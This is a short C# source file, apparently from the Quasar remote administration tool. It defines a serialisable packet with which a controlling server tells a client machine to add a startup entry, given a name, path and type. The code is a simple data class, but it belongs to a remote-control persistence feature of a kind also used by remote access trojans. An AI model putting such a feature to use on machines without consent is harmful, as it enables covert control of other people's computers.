Files
Quasar/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs
T
2015-07-14 19:00:31 +02:00

34 lines
701 B
C#

using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{
[ProtoContract]
public class DoStartupItemAdd : IPacket
{
[ProtoMember(1)]
public string Name { get; set; }
[ProtoMember(2)]
public string Path { get; set; }
[ProtoMember(3)]
public int Type { get; set; }
public DoStartupItemAdd()
{
}
public DoStartupItemAdd(string name, string path, int type)
{
this.Name = name;
this.Path = path;
this.Type = type;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}